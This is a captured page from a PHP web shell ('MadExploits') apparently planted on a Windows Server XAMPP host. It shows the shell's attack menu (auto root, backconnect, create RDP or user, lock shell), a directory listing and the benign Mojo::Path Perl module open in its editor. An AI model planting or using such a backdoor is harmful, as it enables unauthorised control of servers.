Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
perl /
vendor /
lib /
Mojo /
[ HOME SHELL ]
Name
Size
Permission
Action
Asset
[ DIR ]
drwxrwxrwx
Content
[ DIR ]
drwxrwxrwx
Cookie
[ DIR ]
drwxrwxrwx
DOM
[ DIR ]
drwxrwxrwx
IOLoop
[ DIR ]
drwxrwxrwx
JSON
[ DIR ]
drwxrwxrwx
Message
[ DIR ]
drwxrwxrwx
Reactor
[ DIR ]
drwxrwxrwx
Server
[ DIR ]
drwxrwxrwx
Transaction
[ DIR ]
drwxrwxrwx
UserAgent
[ DIR ]
drwxrwxrwx
resources
[ DIR ]
drwxrwxrwx
Asset.pm
3.12
KB
-rw-rw-rw-
Base.pm
11.48
KB
-rw-rw-rw-
ByteStream.pm
8.31
KB
-rw-rw-rw-
Cache.pm
1.3
KB
-rw-rw-rw-
Collection.pm
10.15
KB
-rw-rw-rw-
Content.pm
14.59
KB
-rw-rw-rw-
Cookie.pm
1.55
KB
-rw-rw-rw-
DOM.pm
29.95
KB
-rw-rw-rw-
Date.pm
4.45
KB
-rw-rw-rw-
DynamicMethods.pm
2.96
KB
-rw-rw-rw-
EventEmitter.pm
3.49
KB
-rw-rw-rw-
Exception.pm
10.03
KB
-rw-rw-rw-
File.pm
12.88
KB
-rw-rw-rw-
Headers.pm
19.18
KB
-rw-rw-rw-
HelloWorld.pm
883
B
-rw-rw-rw-
Home.pm
1.64
KB
-rw-rw-rw-
IOLoop.pm
17.42
KB
-rw-rw-rw-
JSON.pm
8.94
KB
-rw-rw-rw-
Loader.pm
4.38
KB
-rw-rw-rw-
Log.pm
6.79
KB
-rw-rw-rw-
Message.pm
17.22
KB
-rw-rw-rw-
Parameters.pm
8.75
KB
-rw-rw-rw-
Path.pm
7.9
KB
-rw-rw-rw-
Promise.pm
14.68
KB
-rw-rw-rw-
Reactor.pm
5.66
KB
-rw-rw-rw-
Server.pm
4.41
KB
-rw-rw-rw-
Template.pm
17.82
KB
-rw-rw-rw-
Transaction.pm
6.9
KB
-rw-rw-rw-
URL.pm
12.55
KB
-rw-rw-rw-
Upload.pm
1.57
KB
-rw-rw-rw-
UserAgent.pm
34.61
KB
-rw-rw-rw-
Util.pm
22.55
KB
-rw-rw-rw-
WebSocket.pm
7.1
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Path.pm
package Mojo::Path; use Mojo::Base -base; use overload '@{}' => sub { shift->parts }, bool => sub {1}, '""' => sub { shift->to_string }, fallback => 1; use Mojo::Util qw(decode encode url_escape url_unescape); has charset => 'UTF-8'; sub canonicalize { my $self = shift; my $parts = $self->parts; for (my $i = 0; $i <= $#$parts;) { if (!length $parts->[$i] || $parts->[$i] eq '.' || $parts->[$i] eq '...') { splice @$parts, $i, 1 } elsif ($i < 1 || $parts->[$i] ne '..' || $parts->[$i - 1] eq '..') { $i++ } else { splice @$parts, --$i, 2 } } return @$parts ? $self : $self->trailing_slash(undef); } sub clone { my $self = shift; my $clone = $self->new; if (exists $self->{charset}) { $clone->{charset} = $self->{charset} } if (my $parts = $self->{parts}) { $clone->{$_} = $self->{$_} for qw(leading_slash trailing_slash); $clone->{parts} = [@$parts]; } else { $clone->{path} = $self->{path} } return $clone; } sub contains { $_[1] eq '/' || $_[0]->to_route =~ m!^\Q$_[1]\E(?:/|$)! } sub leading_slash { shift->_parse(leading_slash => @_) } sub merge { my ($self, $path) = @_; # Replace return $self->parse($path) if $path =~ m!^/!; # Merge pop @{$self->parts} unless $self->trailing_slash; $path = $self->new($path); push @{$self->parts}, @{$path->parts}; return $self->trailing_slash($path->trailing_slash); } sub new { @_ > 1 ? shift->SUPER::new->parse(@_) : shift->SUPER::new } sub parse { my $self = shift; $self->{path} = shift; delete @$self{qw(leading_slash parts trailing_slash)}; return $self; } sub parts { shift->_parse(parts => @_) } sub to_abs_string { my $path = shift->to_string; return $path =~ m!^/! ? $path : "/$path"; } sub to_dir { my $clone = shift->clone; pop @{$clone->parts} unless $clone->trailing_slash; return $clone->trailing_slash(!!@{$clone->parts}); } sub to_route { my $clone = shift->clone; return '/' . join '/', @{$clone->parts}, $clone->trailing_slash ? '' : (); } sub to_string { my $self = shift; # Path my $charset = $self->charset; if (defined(my $path = $self->{path})) { $path = encode $charset, $path if $charset; return url_escape $path, '^A-Za-z0-9\-._~!$&\'()*+,;=%:@/'; } # Build path my @parts = @{$self->parts}; @parts = map { encode $charset, $_ } @parts if $charset; my $path = join '/', map { url_escape $_, '^A-Za-z0-9\-._~!$&\'()*+,;=:@' } @parts; $path = "/$path" if $self->leading_slash; $path = "$path/" if $self->trailing_slash; return $path; } sub trailing_slash { shift->_parse(trailing_slash => @_) } sub _parse { my ($self, $name) = (shift, shift); unless ($self->{parts}) { my $path = url_unescape delete($self->{path}) // ''; my $charset = $self->charset; $path = decode($charset, $path) // $path if $charset; $self->{leading_slash} = $path =~ s!^/!!; $self->{trailing_slash} = $path =~ s!/$!!; $self->{parts} = [split '/', $path, -1]; } return $self->{$name} unless @_; $self->{$name} = shift; return $self; } 1; =encoding utf8 =head1 NAME Mojo::Path - Path =head1 SYNOPSIS use Mojo::Path; # Parse my $path = Mojo::Path->new('/foo%2Fbar%3B/baz.html'); say $path->[0]; # Build my $path = Mojo::Path->new('/i/♥'); push @$path, 'mojolicious'; say "$path"; =head1 DESCRIPTION L<Mojo::Path> is a container for paths used by L<Mojo::URL>, based on L<RFC 3986|http://tools.ietf.org/html/rfc3986>. =head1 ATTRIBUTES L<Mojo::Path> implements the following attributes. =head2 charset my $charset = $path->charset; $path = $path->charset('UTF-8'); Charset used for encoding and decoding, defaults to C<UTF-8>. # Disable encoding and decoding $path->charset(undef); =head1 METHODS L<Mojo::Path> inherits all methods from L<Mojo::Base> and implements the following new ones. =head2 canonicalize $path = $path->canonicalize; Canonicalize path by resolving C<.> and C<..>, in addition C<...> will be treated as C<.> to protect from path traversal attacks. # "/foo/baz" Mojo::Path->new('/foo/./bar/../baz')->canonicalize; # "/../baz" Mojo::Path->new('/foo/../bar/../../baz')->canonicalize; # "/foo/bar" Mojo::Path->new('/foo/.../bar')->canonicalize; =head2 clone my $clone = $path->clone; Return a new L<Mojo::Path> object cloned from this path. =head2 contains my $bool = $path->contains('/i/♥/mojolicious'); Check if path contains given prefix. # True Mojo::Path->new('/foo/bar')->contains('/'); Mojo::Path->new('/foo/bar')->contains('/foo'); Mojo::Path->new('/foo/bar')->contains('/foo/bar'); # False Mojo::Path->new('/foo/bar')->contains('/f'); Mojo::Path->new('/foo/bar')->contains('/bar'); Mojo::Path->new('/foo/bar')->contains('/whatever'); =head2 leading_slash my $bool = $path->leading_slash; $path = $path->leading_slash($bool); Path has a leading slash. Note that this method will normalize the path and that C<%2F> will be treated as C</> for security reasons. # "/foo/bar" Mojo::Path->new('foo/bar')->leading_slash(1); # "foo/bar" Mojo::Path->new('/foo/bar')->leading_slash(0); =head2 merge $path = $path->merge('/foo/bar'); $path = $path->merge('foo/bar'); $path = $path->merge(Mojo::Path->new); Merge paths. Note that this method will normalize both paths if necessary and that C<%2F> will be treated as C</> for security reasons. # "/baz/yada" Mojo::Path->new('/foo/bar')->merge('/baz/yada'); # "/foo/baz/yada" Mojo::Path->new('/foo/bar')->merge('baz/yada'); # "/foo/bar/baz/yada" Mojo::Path->new('/foo/bar/')->merge('baz/yada'); =head2 new my $path = Mojo::Path->new; my $path = Mojo::Path->new('/foo%2Fbar%3B/baz.html'); Construct a new L<Mojo::Path> object and L</"parse"> path if necessary. =head2 parse $path = $path->parse('/foo%2Fbar%3B/baz.html'); Parse path. =head2 to_abs_string my $str = $path->to_abs_string; Turn path into an absolute string. # "/i/%E2%99%A5/mojolicious" Mojo::Path->new('/i/%E2%99%A5/mojolicious')->to_abs_string; Mojo::Path->new('i/%E2%99%A5/mojolicious')->to_abs_string; =head2 parts my $parts = $path->parts; $path = $path->parts([qw(foo bar baz)]); The path parts. Note that this method will normalize the path and that C<%2F> will be treated as C</> for security reasons. # Part with slash push @{$path->parts}, 'foo/bar'; =head2 to_dir my $dir = $route->to_dir; Clone path and remove everything after the right-most slash. # "/i/%E2%99%A5/" Mojo::Path->new('/i/%E2%99%A5/mojolicious')->to_dir->to_abs_string; # "i/%E2%99%A5/" Mojo::Path->new('i/%E2%99%A5/mojolicious')->to_dir->to_abs_string; =head2 to_route my $route = $path->to_route; Turn path into a route. # "/i/♥/mojolicious" Mojo::Path->new('/i/%E2%99%A5/mojolicious')->to_route; Mojo::Path->new('i/%E2%99%A5/mojolicious')->to_route; =head2 to_string my $str = $path->to_string; Turn path into a string. # "/i/%E2%99%A5/mojolicious" Mojo::Path->new('/i/%E2%99%A5/mojolicious')->to_string; # "i/%E2%99%A5/mojolicious" Mojo::Path->new('i/%E2%99%A5/mojolicious')->to_string; =head2 trailing_slash my $bool = $path->trailing_slash; $path = $path->trailing_slash($bool); Path has a trailing slash. Note that this method will normalize the path and that C<%2F> will be treated as C</> for security reasons. # "/foo/bar/" Mojo::Path->new('/foo/bar')->trailing_slash(1); # "/foo/bar" Mojo::Path->new('/foo/bar/')->trailing_slash(0); =head1 OPERATORS L<Mojo::Path> overloads the following operators. =head2 array my @parts = @$path; Alias for L</"parts">. Note that this will normalize the path and that C<%2F> will be treated as C</> for security reasons. say $path->[0]; say for @$path; =head2 bool my $bool = !!$path; Always true. =head2 stringify my $str = "$path"; Alias for L</"to_string">. =head1 SEE ALSO L<Mojolicious>, L<Mojolicious::Guides>, L<https://mojolicious.org>. =cut
Close